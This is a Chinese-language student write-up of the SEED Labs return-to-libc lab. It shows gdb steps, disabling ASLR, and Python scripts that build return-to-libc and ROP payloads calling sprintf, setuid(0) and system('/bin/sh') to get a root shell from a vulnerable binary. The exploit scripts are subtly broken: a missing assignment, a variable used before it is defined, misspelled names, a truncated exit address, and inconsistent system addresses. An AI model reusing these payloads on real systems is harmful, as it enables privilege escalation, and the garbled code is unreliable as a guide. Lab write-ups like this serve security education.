本文为 SEED Labs 2.0 - Return-to-libc Attack Lab 的实验记录。
实验原理
Task 1: Finding out the Addresses of libc Functions
关闭地址随机化
sudo sysctl -w kernel.randomize_va_space=0
修改链接
sudo ln -sf /bin/zsh /bin/sh
使用 gdb调试
$ touch badfile
$ make
$ gdb -q retlib
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ p system
gdb-peda$ p exit
gdb-peda$ quit
得到结果
Task 2: Putting the shell string in the memory
新建 MYSHELL 环境变量
编写程序 prtenv.c
#include<stdlib.h>
#include<stdio.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
编译并运行。然后把上面的程序段加进 retlib.c 再次编译运行。
由于 prtenv 和 retlib 都是 6 个字母，所以会得到同样的结果，如下所示。
Task 3: Launching the Attack
根据前面得到的结果，将程序改为
#!/usr/bin/env python3
import sys
## Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = Y+8
sh_addr = 0xffffd403 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf4e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = Y+4
exit_addr = 0xf7e04f80 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
## Save content to a file
with open("badfile", "wb") as f:
f.write(content)
其中，Y 的值为 0xffffcd78\(-\)0xffffcd60\(+4\)
运行，攻击成功
Attack variation 1: Is the
exit()function really necessary? Please try your attack without including the address of this function in badfile. Run your attack again, report and explain your observations.
根据 task 要求，我们将 exploit.py 中 exit 的部分注释掉，然后重新运行。
发现可以正常提权，但退出时会崩溃。
Attack variation 2: After your attack is successful, change the file name of retlib to a different name, making sure that the length of the new file name is different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Will your attack succeed or not? If it does not succeed, explain why.
根据 task 要求，我们先将编译后的二进制文件改名为 rrtlib，提权成功
在改为 newretlib，提权不成功
由此可见，这与程序名的长度有关。
Task 4: Defeat Shell’s countermeasure
改回链接
sudo ln -sf /bin/dash /bin/sh
为了使攻击更加方便，我们直接使用 ROP。首先获取所需要的 libc 函数地址
然后 disas bof 获取 bof() 函数返回地址
同时我们还有 retlib 打印出的 bof() 函数 ebp 位置和 MYSHELL 地址，根据这些修改 exploit.py
## !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
## setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
## a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
## Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
## sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
## setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
## system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
## exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
## Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
在上面的程序中，有以下几点：
- 先调用
setuid(0)，然后再调用system("/bin/sh")，以绕过 countermeasure - 由于参数的 0 无法复制，所以我们调用四次
sprintf()来生成 0
运行程序，可以看到成功提权
Task 5: Return-Oriented Programming
由于我们上一个 Task 已经使用了 ROP，所以这一个 Task 只要稍作修改即可。
先获取 foo() 地址
然后修改 exploit.py
## !/usr/bin/python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content bytearray(0xaa for i in range (24))
sh_addr = 0xffffd3e3
leaveret = 0x565562ce
sprintf_addr = 0xf7e20e40
setuid_addr = 0xf7e99e30
system_addr = 0xf7e12420
exit_addr = 0xf7e4f80
ebp_bof = 0xffffcd58
foo_addr = 0x565562d0 # CHANGED!
## setuid()'s 1st argument
sprintf_argl = ebp_bof + 12 + 5*0x20
## a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
## Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
## sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_argl += 1
## setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
for i in range(10): # CHANGED!
ebp += 0x20
content += tobytes(ebp_next)
content += tobytes(foo_addr)
content += tobytes(leveret)
content += b'A'*(0x20-3*4)
## system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
## exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
## Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
运行程序，可以看到调用了 10 次 foo() ，并成功提权
实验总结
实验总体难度一般。Task1 - 3 依葫芦画瓢即可，没有难度；Task4 难度较大，但我大炮轰蚊子，直接用 ROP 解决了 0 如何输入的问题；由此一来，Task5 就很容易解决了。
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